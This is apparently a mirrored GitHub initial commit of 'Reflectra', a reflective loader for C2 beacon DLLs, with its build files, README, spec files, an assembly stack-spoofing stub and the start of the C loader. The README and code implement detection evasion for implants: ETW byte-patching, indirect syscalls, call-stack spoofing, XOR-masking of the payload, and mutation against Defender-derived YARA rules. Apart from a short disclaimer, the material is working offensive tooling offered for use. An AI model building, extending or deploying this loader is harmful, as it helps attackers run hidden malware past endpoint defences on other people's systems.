mirror of
https://github.com/k1ng0fn0th1ng/reflectra
synced 2026-06-21 13:55:04 +00:00
Initial commit
This commit is contained in:
+59
@@ -0,0 +1,59 @@
|
||||
# Prerequisites
|
||||
*.d
|
||||
|
||||
# Object files
|
||||
*.o
|
||||
*.ko
|
||||
*.obj
|
||||
*.elf
|
||||
|
||||
# Linker output
|
||||
*.ilk
|
||||
*.map
|
||||
*.exp
|
||||
|
||||
# Precompiled Headers
|
||||
*.gch
|
||||
*.pch
|
||||
|
||||
# Libraries
|
||||
*.lib
|
||||
*.a
|
||||
*.la
|
||||
*.lo
|
||||
|
||||
# Shared objects (inc. Windows DLLs)
|
||||
*.dll
|
||||
*.so
|
||||
*.so.*
|
||||
*.dylib
|
||||
|
||||
# Executables
|
||||
*.exe
|
||||
*.out
|
||||
*.app
|
||||
*.i*86
|
||||
*.x86_64
|
||||
*.hex
|
||||
|
||||
# Debug files
|
||||
*.dSYM/
|
||||
*.su
|
||||
*.idb
|
||||
*.pdb
|
||||
|
||||
# Kernel Module Compile Results
|
||||
*.mod*
|
||||
*.cmd
|
||||
.tmp_versions/
|
||||
modules.order
|
||||
Module.symvers
|
||||
Mkfile.old
|
||||
dkms.conf
|
||||
|
||||
# Custom
|
||||
bin/
|
||||
dist/
|
||||
libtcg/
|
||||
.vscode/
|
||||
stub/pic.h
|
||||
@@ -0,0 +1,134 @@
|
||||
CC_64 := x86_64-w64-mingw32-gcc
|
||||
NASM := nasm
|
||||
|
||||
SRC_DIR := src
|
||||
BIN_DIR := bin
|
||||
STUB_DIR := stub
|
||||
|
||||
# Keep release and debug artifacts separated to avoid mixing object files.
|
||||
RELEASE_DIR := $(BIN_DIR)/release
|
||||
DEBUG_DIR := $(BIN_DIR)/debug
|
||||
|
||||
# Default output path for the stub target. It can be overridden:
|
||||
# make stub STUB_OUTPUT=/custom/path/stub.exe
|
||||
STUB_OUTPUT ?= $(BIN_DIR)/stub.exe
|
||||
|
||||
# Common compiler flags shared by both release and debug builds.
|
||||
# -MMD -MP generates dependency files (*.d) automatically so header
|
||||
# changes trigger recompilation of the affected object files.
|
||||
COMMON_CFLAGS := -I./$(SRC_DIR) \
|
||||
-masm=intel \
|
||||
-fno-stack-protector \
|
||||
-fno-builtin \
|
||||
-fno-jump-tables \
|
||||
-fno-exceptions \
|
||||
-fno-asynchronous-unwind-tables \
|
||||
-fno-unwind-tables \
|
||||
-fno-zero-initialized-in-bss \
|
||||
-ffunction-sections \
|
||||
-fdata-sections \
|
||||
-fno-ident \
|
||||
-mno-stack-arg-probe \
|
||||
-MMD \
|
||||
-MP
|
||||
|
||||
# Release-only optimization flags.
|
||||
RELEASE_CFLAGS := -O1 \
|
||||
-fomit-frame-pointer \
|
||||
-fno-align-functions \
|
||||
-fno-align-jumps \
|
||||
-fno-align-loops
|
||||
|
||||
# Extra warnings to catch suspicious constructs during compilation.
|
||||
WARN_CFLAGS := -Wall -Wextra -Wshadow -Wundef -Wno-pointer-arith
|
||||
|
||||
# Debug-only flags.
|
||||
DEBUG_CFLAGS := -O0 -g3 -DDEBUG
|
||||
|
||||
# Stub build flags.
|
||||
STUB_CFLAGS := -O1 -fno-stack-protector
|
||||
STUB_LDFLAGS := -Wl,--subsystem,windows -Wl,--gc-sections -s
|
||||
|
||||
NASMFLAGS := -f bin -O3 -w-none
|
||||
|
||||
# Source files compiled with GCC.
|
||||
SRCS := \
|
||||
$(SRC_DIR)/core/loader.c \
|
||||
$(SRC_DIR)/core/services.c \
|
||||
$(SRC_DIR)/evasion/spoof.c \
|
||||
$(SRC_DIR)/evasion/hooks.c \
|
||||
$(SRC_DIR)/evasion/syscalls.c \
|
||||
$(SRC_DIR)/evasion/patch.c \
|
||||
$(SRC_DIR)/evasion/mask.c \
|
||||
$(SRC_DIR)/utils/utils.c \
|
||||
$(SRC_DIR)/pico/pico.c
|
||||
|
||||
# Convert source file paths into release/debug object file paths.
|
||||
# Example:
|
||||
# src/core/loader.c -> bin/release/core/loader.x64.o
|
||||
RELEASE_OBJS := $(patsubst $(SRC_DIR)/%.c,$(RELEASE_DIR)/%.x64.o,$(SRCS))
|
||||
DEBUG_OBJS := $(patsubst $(SRC_DIR)/%.c,$(DEBUG_DIR)/%.x64.o,$(SRCS))
|
||||
|
||||
# Dependency files generated by -MMD -MP.
|
||||
# Example:
|
||||
# bin/release/core/loader.x64.o -> bin/release/core/loader.x64.d
|
||||
RELEASE_DEPS := $(RELEASE_OBJS:.o=.d)
|
||||
DEBUG_DEPS := $(DEBUG_OBJS:.o=.d)
|
||||
|
||||
RELEASE_ASM := \
|
||||
$(RELEASE_DIR)/asm/draugr.x64.bin \
|
||||
$(RELEASE_DIR)/asm/dummy.x64.bin
|
||||
|
||||
DEBUG_ASM := \
|
||||
$(DEBUG_DIR)/asm/draugr.x64.bin \
|
||||
$(DEBUG_DIR)/asm/dummy.x64.bin
|
||||
|
||||
all: release
|
||||
|
||||
release: $(RELEASE_OBJS) $(RELEASE_ASM)
|
||||
|
||||
debug: $(DEBUG_OBJS) $(DEBUG_ASM)
|
||||
|
||||
# Build the Windows stub executable.
|
||||
stub:
|
||||
mkdir -p "$(dir $(STUB_OUTPUT))"
|
||||
$(CC_64) $(STUB_DIR)/stub.c -o "$(STUB_OUTPUT)" $(STUB_CFLAGS) $(STUB_LDFLAGS)
|
||||
|
||||
clean:
|
||||
rm -rf "$(BIN_DIR)"
|
||||
|
||||
print-vars:
|
||||
@echo "RELEASE_OBJS=$(RELEASE_OBJS)"
|
||||
@echo "DEBUG_OBJS=$(DEBUG_OBJS)"
|
||||
@echo "RELEASE_ASM=$(RELEASE_ASM)"
|
||||
@echo "DEBUG_ASM=$(DEBUG_ASM)"
|
||||
|
||||
# Pattern rules enable incremental builds:
|
||||
# Each object file depends on exactly one source file.
|
||||
# Only modified sources are recompiled.
|
||||
|
||||
# C Compilation
|
||||
$(RELEASE_DIR)/%.x64.o: $(SRC_DIR)/%.c
|
||||
mkdir -p "$(dir $@)"
|
||||
$(CC_64) -DWIN_X64 $(WARN_CFLAGS) $(COMMON_CFLAGS) $(RELEASE_CFLAGS) -c "$<" -o "$@"
|
||||
|
||||
$(DEBUG_DIR)/%.x64.o: $(SRC_DIR)/%.c
|
||||
mkdir -p "$(dir $@)"
|
||||
$(CC_64) -DWIN_X64 $(WARN_CFLAGS) $(COMMON_CFLAGS) $(DEBUG_CFLAGS) -c "$<" -o "$@"
|
||||
|
||||
# ASM Compilation
|
||||
$(RELEASE_DIR)/%.x64.bin: $(SRC_DIR)/%.asm
|
||||
mkdir -p "$(dir $@)"
|
||||
$(NASM) "$<" -o "$@" $(NASMFLAGS)
|
||||
|
||||
$(DEBUG_DIR)/%.x64.bin: $(SRC_DIR)/%.asm
|
||||
mkdir -p "$(dir $@)"
|
||||
$(NASM) "$<" -o "$@" $(NASMFLAGS)
|
||||
|
||||
# Include auto-generated dependency files if they already exist.
|
||||
# The leading '-' prevents errors on the first build, when .d files have not been generated yet.
|
||||
-include $(RELEASE_DEPS)
|
||||
-include $(DEBUG_DEPS)
|
||||
|
||||
# These targets are commands, not real files.
|
||||
.PHONY: all release debug stub clean print-vars
|
||||
@@ -0,0 +1,208 @@
|
||||
# Reflectra
|
||||
|
||||

|
||||

|
||||

|
||||

|
||||
|
||||
Reflectra is a **User-Defined Reflective Loader (UDRL)** built on top of [Crystal Palace][1] and inspired by the work of [Rasta Mouse][2].
|
||||
It focuses on providing a reusable, modular UDRL architecture that can be integrated across multiple C2 frameworks while maintaining full control over execution flow and evasion.
|
||||
|
||||
## Overview
|
||||
|
||||
Reflectra provides:
|
||||
|
||||
* Custom reflective loading pipeline built on top of Crystal Palace
|
||||
* Modular evasion (syscalls, spoofing, patching)
|
||||
* Brings custom evasion capabilities to Beacons
|
||||
* Full control over execution flow and memory layout
|
||||
* Designed for integration with DLL-based C2 payloads
|
||||
|
||||
It can be integrated into any framework that delivers payloads as DLLs.
|
||||
|
||||
## What is a User-Defined Reflective Loader (UDRL)
|
||||
|
||||
A User-Defined Reflective Loader (UDRL) is a custom loader that:
|
||||
|
||||
* Manually maps a DLL into memory
|
||||
* Resolves imports and relocations
|
||||
* Executes the entrypoint without using the Windows loader
|
||||
|
||||
Unlike standard reflective loaders, a UDRL gives full control over:
|
||||
|
||||
* Memory layout and permissions
|
||||
* Import resolution strategy
|
||||
* Execution flow
|
||||
* Transformation and obfuscation logic
|
||||
|
||||
## Features
|
||||
|
||||
### Core
|
||||
|
||||
* Manual PE loading (sections, relocations, imports)
|
||||
* Dynamic DLL entrypoint resolution (`Start`, `Run`, `Main`, etc)
|
||||
* Loader self-cleanup after execution (Free & Run)
|
||||
* Debug mode with verbose logging (removed in release builds)
|
||||
|
||||
### Evasion
|
||||
|
||||
* Stack call spoofing using [Draugr][3]
|
||||
* Indirect syscalls using [LibGate][4]
|
||||
* ETW user-mode patching (byte patching)
|
||||
* DLL masking via XOR encryption
|
||||
|
||||
### Build & Pipeline
|
||||
|
||||
* Integration with Crystal Palace
|
||||
* Automatic YARA rule generation and mutation dealing with [islands of invariance][5]
|
||||
* Simple stub generation for standalone execution
|
||||
|
||||
### Testing
|
||||
|
||||
* Tested against Defender-derived YARA rules using [defender2yara][6]
|
||||
|
||||
## Install
|
||||
|
||||
Reflectra depends on external components that are not redistributed, such as [Crystal Palace][1] and Tradecraft Garden libraries.
|
||||
To install all required dependencies:
|
||||
|
||||
```bash
|
||||
./install.sh
|
||||
```
|
||||
|
||||
This will:
|
||||
|
||||
* Download Crystal Palace distribution files
|
||||
* Download Tradecraft Garden sources
|
||||
* Build libtcg locally
|
||||
* Prepare the environment for building payloads
|
||||
|
||||
## Usage
|
||||
|
||||
### AdaptixC2
|
||||
|
||||
1. Generate your beacon as a DLL
|
||||
2. Build the payload using Reflectra:
|
||||
|
||||
```bash
|
||||
./build.sh <dll_path> <output_path>
|
||||
```
|
||||
|
||||
3. Execute using the stub or the `run.x64.exe` from Crystal Palace:
|
||||
|
||||
```powershell
|
||||
.\run.x64.exe out.x64.bin
|
||||
```
|
||||
|
||||
### With Any Other C2
|
||||
|
||||
1. Generate a DLL payload (preferably stageless)
|
||||
2. Build it using Reflectra
|
||||
3. Execute via:
|
||||
* stub executable
|
||||
* custom runner
|
||||
* integrated loader
|
||||
4. You will need to modify `spec/pico.spec` and overwrite `TARGET_FUNCTION` to target the function to execute
|
||||
* This is required because Reflectra does not assume a fixed entrypoint, allowing flexibility across different C2 frameworks.
|
||||
|
||||
### Debug
|
||||
|
||||
You can debug it using this command:
|
||||
|
||||
```bash
|
||||
./build.sh --debug ./dist/demo/test.x64.dll <output_path>
|
||||
```
|
||||
|
||||
Debug messages are emitted via `OutputDebugStringA` and can be viewed using `DebugView` from SysinternalsSuite
|
||||
|
||||
### Output
|
||||
|
||||
* `out.x64.bin` → transformed payload
|
||||
* `rules.yar` → generated YARA rules
|
||||
* `stub.exe` → executable wrapper
|
||||
* `out.x64.debug.bin` → optional debug payload
|
||||
|
||||
## Architecture
|
||||
|
||||
### Reflectra
|
||||
|
||||
```mermaid
|
||||
flowchart LR
|
||||
A[Patch ETW] --> B[Load PICO]
|
||||
B --> C[Setup Hooks]
|
||||
C --> D[Unmask DLL]
|
||||
D --> E[Map DLL into Memory]
|
||||
E --> F[Resolve Imports and Apply Relocations]
|
||||
F --> G[Restore DLL Section Permissions]
|
||||
G --> H[Execute PICO]
|
||||
H --> I[Free Loader]
|
||||
I --> J[Call DllMain]
|
||||
J --> K[Call Target Function]
|
||||
```
|
||||
|
||||
### Pipeline
|
||||
|
||||
```mermaid
|
||||
flowchart LR
|
||||
A[Input DLL] --> B[build.sh]
|
||||
|
||||
B --> C[Release]
|
||||
B --> D[Debug]
|
||||
|
||||
C --> E[Compile Reflectra with MinGW]
|
||||
D --> F[Compile Reflectra with MinGW]
|
||||
|
||||
E --> G[Link with Crystal Palace]
|
||||
F --> H[Link with Crystal Palace]
|
||||
|
||||
G --> I[out.x64.bin]
|
||||
G --> J[rules.yar]
|
||||
I --> K[Generate pic.h with xxd]
|
||||
K --> L[Build stub.exe]
|
||||
|
||||
H --> M[out.x64.debug.bin]
|
||||
```
|
||||
|
||||
## Limitations
|
||||
|
||||
* Some DLL payloads (e.g., Sliver) may not be compatible due to their Go-based runtime
|
||||
* Dynamically resolved APIs are not hooked; only functions resolved via the IAT are affected
|
||||
|
||||
## Design Goals
|
||||
|
||||
* Bring UDRL to public C2 like AdaptixC2
|
||||
* Define a flexible structure for Crystal Palace projects that can be used with any project
|
||||
* Keep the loader minimal and modular
|
||||
* Separate build-time logic from runtime execution
|
||||
* Avoid tight coupling with any specific C2
|
||||
* Enable experimentation and research
|
||||
|
||||
## References & Credits
|
||||
|
||||
* Crystal Palace - Core framework
|
||||
* Rasta Mouse - [Crystal-Kit][2], [LibGate][4], [CRTL][7] research inspiration
|
||||
* Draugr
|
||||
|
||||
## Disclaimer
|
||||
|
||||
This project is intended for:
|
||||
|
||||
* Research
|
||||
* Development
|
||||
* Educational purposes
|
||||
|
||||
Unauthorized use against systems you do not own is illegal.
|
||||
|
||||
## License
|
||||
|
||||
This project is licensed under the MIT License.
|
||||
|
||||
See the LICENSE file for more details.
|
||||
|
||||
[1]: https://tradecraftgarden.org/crystalpalace.html
|
||||
[2]: https://github.com/rasta-mouse/Crystal-Kit
|
||||
[3]: https://github.com/NtDallas/Draugr
|
||||
[4]: https://github.com/rasta-mouse/LibGate
|
||||
[5]: https://rastamouse.me/islands-of-invariance/
|
||||
[6]: https://github.com/t-tani/defender2yara
|
||||
[7]: https://www.zeropointsecurity.co.uk/course/red-team-ops-ii
|
||||
@@ -0,0 +1,176 @@
|
||||
#!/usr/bin/env bash
|
||||
set -Eeuo pipefail
|
||||
|
||||
# Usage:
|
||||
# ./build.sh [--debug] <dll_path> <output_path>
|
||||
#
|
||||
# Examples:
|
||||
# ./build.sh /path/to/agent.dll /tmp/output
|
||||
# ./build.sh --debug /path/to/agent.dll /tmp/output
|
||||
|
||||
MODE="release"
|
||||
DLL_PATH=""
|
||||
OUTPUT_PATH=""
|
||||
|
||||
readonly LINKER="./dist/link"
|
||||
readonly SPEC_FILE="spec/loader.spec"
|
||||
readonly STUB_HEADER="stub/pic.h"
|
||||
|
||||
readonly RELEASE_BIN_FILENAME="out.x64.bin"
|
||||
readonly DEBUG_BIN_FILENAME="out.x64.debug.bin"
|
||||
readonly RULES_FILENAME="rules.yar"
|
||||
readonly STUB_FILENAME="stub.exe"
|
||||
|
||||
usage() {
|
||||
cat <<'EOF'
|
||||
Usage:
|
||||
./build.sh [--debug] <dll_path> <output_path>
|
||||
|
||||
Arguments:
|
||||
dll_path Path to the DLL to link
|
||||
output_path Directory where output files will be written
|
||||
|
||||
Options:
|
||||
--debug Build the debug version instead of the release version
|
||||
-h, --help Show this help message
|
||||
EOF
|
||||
}
|
||||
|
||||
log() {
|
||||
printf '[*] %s\n' "$*"
|
||||
}
|
||||
|
||||
error() {
|
||||
printf '[!] %s\n' "$*" >&2
|
||||
}
|
||||
|
||||
require_command() {
|
||||
local cmd="$1"
|
||||
|
||||
if ! command -v "$cmd" >/dev/null 2>&1; then
|
||||
error "Command not found: $cmd"
|
||||
exit 1
|
||||
fi
|
||||
}
|
||||
|
||||
require_file() {
|
||||
local file_path="$1"
|
||||
|
||||
if [[ ! -f "$file_path" ]]; then
|
||||
error "File not found: $file_path"
|
||||
exit 1
|
||||
fi
|
||||
}
|
||||
|
||||
ensure_directory() {
|
||||
local dir_path="$1"
|
||||
mkdir -p "$dir_path"
|
||||
}
|
||||
|
||||
parse_args() {
|
||||
while [[ $# -gt 0 ]]; do
|
||||
case "$1" in
|
||||
--debug)
|
||||
MODE="debug"
|
||||
shift
|
||||
;;
|
||||
-h|--help)
|
||||
usage
|
||||
exit 0
|
||||
;;
|
||||
--)
|
||||
shift
|
||||
break
|
||||
;;
|
||||
-*)
|
||||
error "Unknown option: $1"
|
||||
usage
|
||||
exit 1
|
||||
;;
|
||||
*)
|
||||
if [[ -z "$DLL_PATH" ]]; then
|
||||
DLL_PATH="$1"
|
||||
elif [[ -z "$OUTPUT_PATH" ]]; then
|
||||
OUTPUT_PATH="$1"
|
||||
else
|
||||
error "Unexpected argument: $1"
|
||||
usage
|
||||
exit 1
|
||||
fi
|
||||
shift
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
if [[ -z "$DLL_PATH" || -z "$OUTPUT_PATH" ]]; then
|
||||
usage
|
||||
exit 1
|
||||
fi
|
||||
}
|
||||
|
||||
build_release() {
|
||||
local release_bin_output
|
||||
local rules_output
|
||||
local stub_output
|
||||
|
||||
release_bin_output="$OUTPUT_PATH/$RELEASE_BIN_FILENAME"
|
||||
rules_output="$OUTPUT_PATH/$RULES_FILENAME"
|
||||
|
||||
log "Building release version"
|
||||
|
||||
ensure_directory "$OUTPUT_PATH"
|
||||
|
||||
make -s clean
|
||||
make -s release
|
||||
|
||||
"$LINKER" "$SPEC_FILE" "$DLL_PATH" "$release_bin_output" -g "$rules_output" -r %root=./ %MODE=release
|
||||
|
||||
xxd -i -n crystal_loader "$release_bin_output" > "$STUB_HEADER"
|
||||
|
||||
make -s stub "STUB_OUTPUT=$OUTPUT_PATH/$STUB_FILENAME"
|
||||
|
||||
log "Release build completed successfully"
|
||||
}
|
||||
|
||||
build_debug() {
|
||||
local debug_bin_output
|
||||
|
||||
debug_bin_output="$OUTPUT_PATH/$DEBUG_BIN_FILENAME"
|
||||
|
||||
log "Building debug version"
|
||||
|
||||
ensure_directory "$OUTPUT_PATH"
|
||||
|
||||
make -s clean
|
||||
make -s debug
|
||||
|
||||
"$LINKER" "$SPEC_FILE" "$DLL_PATH" "$debug_bin_output" -r %root=./ %MODE=debug
|
||||
|
||||
log "Debug build completed successfully"
|
||||
}
|
||||
|
||||
main() {
|
||||
parse_args "$@"
|
||||
|
||||
require_command make
|
||||
require_command xxd
|
||||
|
||||
require_file "$DLL_PATH"
|
||||
require_file "$LINKER"
|
||||
require_file "$SPEC_FILE"
|
||||
|
||||
case "$MODE" in
|
||||
release)
|
||||
build_release
|
||||
;;
|
||||
debug)
|
||||
build_debug
|
||||
;;
|
||||
*)
|
||||
error "Invalid mode: $MODE"
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
}
|
||||
|
||||
main "$@"
|
||||
Executable
+66
@@ -0,0 +1,66 @@
|
||||
#!/usr/bin/env bash
|
||||
set -Eeuo pipefail
|
||||
|
||||
readonly CRYSTAL_PALACE_URL="https://tradecraftgarden.org/download"
|
||||
readonly CPDIST_ARCHIVE="cpdist-latest.tgz"
|
||||
readonly CPDIST_URL="$CRYSTAL_PALACE_URL/$CPDIST_ARCHIVE"
|
||||
|
||||
readonly TCG_ARCHIVE="tcg20260202.tgz"
|
||||
readonly TCG_URL="$CRYSTAL_PALACE_URL/$TCG_ARCHIVE"
|
||||
|
||||
log() {
|
||||
printf '[*] %s\n' "$*"
|
||||
}
|
||||
|
||||
error() {
|
||||
printf '[!] %s\n' "$*" >&2
|
||||
}
|
||||
|
||||
require_command() {
|
||||
local cmd="$1"
|
||||
|
||||
if ! command -v "$cmd" >/dev/null 2>&1; then
|
||||
error "Required command not found: $cmd"
|
||||
exit 1
|
||||
fi
|
||||
}
|
||||
|
||||
cleanup() {
|
||||
rm -rf "$CPDIST_ARCHIVE" "$TCG_ARCHIVE" tcg/
|
||||
}
|
||||
|
||||
main() {
|
||||
require_command curl
|
||||
require_command tar
|
||||
require_command make
|
||||
|
||||
trap cleanup EXIT
|
||||
|
||||
log "Downloading Crystal Palace release"
|
||||
curl -fsSL "$CPDIST_URL" -o "$CPDIST_ARCHIVE"
|
||||
|
||||
log "Extracting Crystal Palace release"
|
||||
tar -xzf "$CPDIST_ARCHIVE"
|
||||
|
||||
log "Downloading Tradecraft Garden source"
|
||||
curl -fsSL "$TCG_URL" -o "$TCG_ARCHIVE"
|
||||
|
||||
log "Extracting Tradecraft Garden source"
|
||||
tar -xzf "$TCG_ARCHIVE"
|
||||
|
||||
if [[ ! -d "tcg/libtcg" ]]; then
|
||||
error "Expected directory not found: tcg/libtcg"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
log "Building libtcg"
|
||||
make -s -C tcg/libtcg
|
||||
|
||||
log "Refreshing local libtcg directory"
|
||||
rm -rf ./libtcg
|
||||
mv tcg/libtcg ./libtcg
|
||||
|
||||
log "Installation completed successfully"
|
||||
}
|
||||
|
||||
main "$@"
|
||||
@@ -0,0 +1,51 @@
|
||||
x64:
|
||||
setg "%path" %root <> "/bin/" <> %MODE <> "/"
|
||||
|
||||
load %path <> "core/loader.x64.o"
|
||||
make pic +gofirst +optimize +disco +mutate
|
||||
|
||||
load %path <> "core/services.x64.o"
|
||||
merge
|
||||
|
||||
load %path <> "evasion/spoof.x64.o"
|
||||
merge
|
||||
|
||||
load %path <> "evasion/hooks.x64.o"
|
||||
merge
|
||||
|
||||
load %path <> "evasion/syscalls.x64.o"
|
||||
merge
|
||||
|
||||
load %path <> "evasion/patch.x64.o"
|
||||
merge
|
||||
|
||||
load %path <> "utils/utils.x64.o"
|
||||
merge
|
||||
|
||||
load %path <> "asm/draugr.x64.bin"
|
||||
linkfunc "draugr_stub"
|
||||
|
||||
dfr "resolve" "ror13"
|
||||
mergelib %root <> "/libtcg/libtcg.x64.zip"
|
||||
|
||||
attach "KERNEL32$VirtualAlloc" "_VirtualAlloc"
|
||||
attach "KERNEL32$VirtualProtect" "_VirtualProtect"
|
||||
|
||||
generate $MASK 128
|
||||
|
||||
push $DLL
|
||||
xor $MASK
|
||||
preplen
|
||||
link "dll"
|
||||
|
||||
push $MASK
|
||||
preplen
|
||||
link "mask"
|
||||
|
||||
# Create and link PICO
|
||||
run "pico.spec"
|
||||
link "pico"
|
||||
|
||||
run "yara.spec"
|
||||
|
||||
export
|
||||
@@ -0,0 +1,46 @@
|
||||
x64:
|
||||
load %path <> "pico/pico.x64.o"
|
||||
make object +optimize +disco +mutate
|
||||
|
||||
load %path <> "evasion/spoof.x64.o"
|
||||
merge
|
||||
|
||||
load %path <> "evasion/hooks.x64.o"
|
||||
merge
|
||||
|
||||
load %path <> "evasion/syscalls.x64.o"
|
||||
merge
|
||||
|
||||
load %path <> "evasion/mask.x64.o"
|
||||
merge
|
||||
|
||||
load %path <> "utils/utils.x64.o"
|
||||
merge
|
||||
|
||||
load %path <> "asm/draugr.x64.bin"
|
||||
linkfunc "draugr_stub"
|
||||
|
||||
generate $KEY 128
|
||||
patch "XOR_KEY" $KEY
|
||||
|
||||
# DLL Hooks
|
||||
addhook "KERNEL32$VirtualAlloc" "_VirtualAlloc"
|
||||
addhook "KERNEL32$VirtualProtect" "_VirtualProtect"
|
||||
addhook "KERNEL32$VirtualFree" "_VirtualFree"
|
||||
addhook "KERNEL32$Sleep" "_Sleep"
|
||||
|
||||
# Needed to free the loader
|
||||
attach "KERNEL32$VirtualFree" "_VirtualFree"
|
||||
# Needed to hook VirtualProtect in mask.c
|
||||
attach "KERNEL32$VirtualProtect" "_VirtualProtect"
|
||||
|
||||
exportfunc "FreeLoader" "__tag_FreeLoader"
|
||||
exportfunc "SetupHooks" "__tag_SetupHooks"
|
||||
exportfunc "SetupMemory" "__tag_SetupMemory"
|
||||
|
||||
mergelib %root <> "/libtcg/libtcg.x64.zip"
|
||||
|
||||
pack $targetFunction "a" "GetVersions"
|
||||
patch "TARGET_FUNCTION" $targetFunction
|
||||
|
||||
export
|
||||
@@ -0,0 +1,30 @@
|
||||
x64:
|
||||
load $DUMMY %path <> "asm/dummy.x64.bin"
|
||||
|
||||
# ParseDLL from Crystal Palace
|
||||
ised insert "add rcx, rax" $DUMMY
|
||||
|
||||
# LoadPico from Crystal Palace
|
||||
ised insert "call PicoDataSize" $DUMMY
|
||||
|
||||
# call SizeOfDLL from loader.c
|
||||
ised insert "call SizeOfDLL" $DUMMY
|
||||
|
||||
# init_frame_info from spoof.c
|
||||
ised insert "mov dword ptr [rbx+0x10], 0x17" $DUMMY
|
||||
|
||||
# GetSyscall from syscall.c
|
||||
ised insert "shl ebx, 8" $DUMMY
|
||||
|
||||
# SpoofedSyscall from hooks.c
|
||||
ised insert "mov r12d, ecx" $DUMMY
|
||||
|
||||
# go from loader.c
|
||||
ised insert "sub rsp, 0x20" $DUMMY
|
||||
|
||||
# get_text_section_size from spoof.c
|
||||
pack $XOREAX "h" "31C0" # xor eax, eax
|
||||
ised replace "mov eax, 0" $XOREAX
|
||||
|
||||
# Disassemble object on stack and write output to assembly.txt
|
||||
disassemble "bin/assembly.txt"
|
||||
@@ -0,0 +1,134 @@
|
||||
[BITS 64]
|
||||
|
||||
; =====================================================================
|
||||
; Draugr Stub - Stack Spoofing Engine
|
||||
; Highly optimized and YARA-resistant version
|
||||
; =====================================================================
|
||||
|
||||
draugr_stub:
|
||||
pop rax ; Real return address in rax
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Store original registers (rdi, rsi)
|
||||
; ---------------------------------------------------------------------
|
||||
mov r10, rdi
|
||||
mov r11, rsi
|
||||
|
||||
mov rdi, [rsp + 0x20] ; Load struct pointer
|
||||
mov rsi, [rsp + 0x28] ; Load function to call
|
||||
|
||||
; Store original registers into struct
|
||||
mov [rdi + 0x18], r10
|
||||
mov [rdi + 0x58], r11
|
||||
mov [rdi + 0x60], r12
|
||||
mov [rdi + 0x68], r13
|
||||
mov [rdi + 0x70], r14
|
||||
mov [rdi + 0x78], r15
|
||||
|
||||
mov r12, rax ; Save original return address
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Prepare stack arguments copy
|
||||
; ---------------------------------------------------------------------
|
||||
xor r11, r11
|
||||
mov r13, [rsp + 0x30] ; Total number of stack args
|
||||
|
||||
mov r14, 0x200
|
||||
add r14, 8
|
||||
add r14, [rdi + 0x38] ; RtlUserThreadStart size
|
||||
add r14, [rdi + 0x30] ; BaseThreadInitThunk size
|
||||
add r14, [rdi + 0x20] ; Gadget frame size
|
||||
sub r14, 0x20
|
||||
|
||||
mov r10, rsp
|
||||
add r10, 0x30
|
||||
|
||||
looping:
|
||||
cmp r11d, r13d
|
||||
je finish
|
||||
|
||||
sub r14, 8
|
||||
mov r15, rsp
|
||||
sub r15, r14
|
||||
|
||||
add r10, 8
|
||||
push qword [r10]
|
||||
pop qword [r15]
|
||||
|
||||
inc r11
|
||||
jmp looping
|
||||
|
||||
finish:
|
||||
; ----------------------------------------------------------------------
|
||||
; Create big working space (320 bytes)
|
||||
; ----------------------------------------------------------------------
|
||||
sub rsp, 0x200
|
||||
push 0 ; Cut off return addresses
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; RtlUserThreadStart + 0x14 frame
|
||||
; ----------------------------------------------------------------------
|
||||
lea rax, [rdi + 0x38]
|
||||
sub rsp, [rax]
|
||||
mov r11, [rdi + 0x40]
|
||||
mov [rsp], r11
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; BaseThreadInitThunk + 0x21 frame
|
||||
; ----------------------------------------------------------------------
|
||||
lea rax, [rdi + 0x20]
|
||||
sub rsp, [rax]
|
||||
mov r11, [rdi + 0x28]
|
||||
mov [rsp], r11
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Gadget frame
|
||||
; ----------------------------------------------------------------------
|
||||
lea rax, [rdi + 0x30]
|
||||
sub rsp, [rax]
|
||||
mov r11, [rdi + 0x50]
|
||||
mov [rsp], r11
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Prepare fixup structure
|
||||
; ----------------------------------------------------------------------
|
||||
mov r11, rsi ; Function to call
|
||||
mov [rdi + 0x08], r12 ; OG ret addr
|
||||
mov [rdi + 0x10], rbx
|
||||
lea rbx, [rel fixup]
|
||||
mov [rdi], rbx
|
||||
mov rbx, rdi
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Syscall setup
|
||||
; ----------------------------------------------------------------------
|
||||
mov r10, rcx
|
||||
mov rax, [rdi + 0x48]
|
||||
jmp r11
|
||||
|
||||
; =====================================================================
|
||||
; Fixup - Restore original context after spoofed call
|
||||
; =====================================================================
|
||||
fixup:
|
||||
mov rcx, rbx
|
||||
|
||||
; Restore stack
|
||||
add rsp, 0x200
|
||||
add rsp, [rbx + 0x30]
|
||||
add rsp, [rbx + 0x20]
|
||||
add rsp, [rbx + 0x38]
|
||||
|
||||
; Restore registers
|
||||
mov rbx, [rcx + 0x10]
|
||||
mov rdi, [rcx + 0x18]
|
||||
mov rsi, [rcx + 0x58]
|
||||
mov r12, [rcx + 0x60]
|
||||
mov r13, [rcx + 0x68]
|
||||
mov r14, [rcx + 0x70]
|
||||
mov r15, [rcx + 0x78]
|
||||
|
||||
push rax
|
||||
xor rax, rax
|
||||
pop rax
|
||||
|
||||
jmp qword [rcx + 0x08]
|
||||
@@ -0,0 +1,10 @@
|
||||
[BITS 64]
|
||||
|
||||
; Generic dummy assembly
|
||||
push rax
|
||||
push rbx
|
||||
mov rax, rax
|
||||
lea rbx, [rbx+0]
|
||||
nop
|
||||
pop rbx
|
||||
pop rax
|
||||
@@ -0,0 +1,172 @@
|
||||
#include "loader.h"
|
||||
|
||||
// Set up permissions based on what the DLL needs
|
||||
void SetupSectionPermissions(DLLDATA *dll, char *dst, DLL_MEMORY *memory)
|
||||
{
|
||||
DWORD sectionCount = dll->NtHeaders->FileHeader.NumberOfSections;
|
||||
IMAGE_SECTION_HEADER *sectionHdr = NULL;
|
||||
void *sectionDst = NULL;
|
||||
DWORD sectionSize = 0;
|
||||
DWORD newProtect = 0;
|
||||
DWORD oldProtect = 0;
|
||||
|
||||
sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader,
|
||||
dll->NtHeaders->FileHeader.SizeOfOptionalHeader);
|
